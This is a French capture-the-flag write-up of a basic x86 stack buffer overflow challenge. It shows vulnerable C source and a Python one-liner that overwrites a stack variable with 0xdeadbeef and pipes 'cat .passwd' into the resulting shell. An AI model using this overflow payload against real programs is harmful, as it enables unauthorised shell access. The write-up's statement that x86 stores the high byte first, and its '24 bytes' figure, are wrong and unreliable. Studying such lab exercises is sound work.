ELF x86 - Stack buffer overflow basic 1
Code Source
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
int main()
{
int var;
int check = 0x04030201;
char buf[40];
fgets(buf,45,stdin);
printf("\n[buf]: %s\n", buf);
printf("[check] %p\n", check);
if ((check != 0x04030201) && (check != 0xdeadbeef))
printf ("\nYou are on the right way!\n");
if (check == 0xdeadbeef)
{
printf("Hell yeah! You win!\nOpening your shell...\n");
setreuid(geteuid(), geteuid());
system("/bin/bash");
printf("Shell closed! Bye.\n");
}
return 0;
}En analysant le code source fourni, on se rend vite compte que la fonction fgets() va lire 44 caractères (plus le char 0x00 de fin de chaîne) dans un buffer de 40 octets, ce qui risque d’aller écraser la pile juste en dessous de ce buffer. La pile fonctionnant à l’envers, c’est la variable check qui va être écrasé (ainsi qu’un octet de la variable var).
On se rappel aussi que l’on doit écrire la valeur hexa à l’envers dans la chaîne, car nous sommes sur une architecture qui stocke les entiers avec octet de poids fort en premier.
On sort donc notre interpréteur python pour lui faire cracher la chaîne qu’il nous faut :
python -c "print 'A'*40+'\xef\xbe\xad\xde'"On envoi tout ça au binaire en espérant avoir la main sur le shell :
python -c "print 'A'*40+'\xef\xbe\xad\xde'" | ./binary13Ça nous donne ça :
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ
[check] 0xdeadbeef
Yeah dude ! You win !
binary13@challenge02:~$Ça fonctionne, mais on a pas la main. On se dit alors qu’on va mettre la commande qu’on veut directement à la suite :
python -c "print 'A'*40+'\xef\xbe\xad\xdecat .passwd'" | ./binary13Ça ne fonctionne pas mieux. Alors, on cherche un peu partout sur le net, et on arrive à comprendre que le shell ne reçois pas ce qu’on lui envoi, parce que binary13 à déjà tout mangé (buffering), on trouve aussi que le fameux buffer fait 4K (on peut le trouver en expérimentant quelques chaines).
Comme notre binaire va lire 24 octet, il faut envoyer (4096 - 24 = 4052) caractère à la suite avant notre commande pour que le binaire ne ’mange’ pas la commande, ce qui nous donne ça :
python -c "print 'A'*40+'\xef\xbe\xad\xde'+'A'*4052+'cat .passwd'" | ./binary13Bingo !